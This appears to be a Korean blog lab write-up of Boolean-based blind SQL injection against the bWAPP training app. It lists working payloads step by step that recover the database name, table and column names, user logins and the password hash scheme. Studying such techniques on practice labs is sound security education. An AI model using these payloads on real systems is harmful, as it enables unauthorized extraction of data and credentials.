1. Blind SQL Injection
- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행
- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법
- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요
- Boolean-Based 기법과 Time-Based 기법이 있음
- Blind SQL Injection에서는 다음 함수들이 자주 사용됨
함수 | 설명 |
length("문자열") | - 문자열의 길이를 반환하는 함수 |
substring(대상 문자열, 시작 위치, 길이) | - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수 - 시작 위치는 1부터 시작 * MySQL : substring() / Oracle : substr() / 사용법은 동일 |
limit 시작 위치, 갯수 | - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수 - 시작 위치는 0부터 시작 |
ascii | - 문자를 아스키코드로 변환하는데 사용하는 함수 - 10진수 48 ~ 57 = 정수 1 ~ 10 - 10진수 65 ~ 90 = 문자 A ~ Z - 10진수 97 ~ 122 = 문자 a ~ z |
2. 실습
- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력
- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음
- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음
- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함
2.1 데이터베이스 이름의 문자열 갯수 확인
- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length(database())=1 #
- 질의문 해석 : 데이터베이스 이름의 길이가 1인지
* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수
- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음
- 수행 질의문 : ' or 1=1 and length(database())=5 #
- 질의문 해석 : 데이터베이스 이름의 길이가 5인지
2.2 데이터베이스 이름 확인
- substring()를 이용해 데이터베이스의 명을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지
- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지
- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.
- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지
- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음
- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월함
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지
- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음
2.3 테이블 이름의 문자열 갯수 확인
- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#
* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의
길이가 1인지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#
- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
2.4 테이블 이름 확인
- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의
쳣번째 글자가
ascii 값으로 97(문자 a)보다 크거나 같은지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임
- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음
2.5 users 테이블의 정보 확인
- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#
- 질의문 해석 :
information_schema 데이터베이스의 columns 테이블에서
table_name이 users인 테이블의
column_name의
첫번째 컬럼의
길이가 1인지
- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#
- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음
2.6 users 테이블의 login 컬럼 정보 확인
- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#
- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지
- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음
- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#
- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지
- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음
- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#
- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지
- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음
- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#
3. 비박스 소스 확인
- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음
① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음
② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증
③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증
- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증
① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환
② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프
'취약점 > Injection' 카테고리의 다른 글
Zyxel Firewall Unauthenticated remote command injection (CVE-2022-30525) (0) | 2023.02.05 |
---|---|
비박스 PHP Code Injection (0) | 2023.01.16 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |
Linear eMerge E3-Series devices Command Injections (CVE-2019-7256) (0) | 2022.12.06 |
비박스(BWAPP) SQL Injection - GET/Search (0) | 2022.09.26 |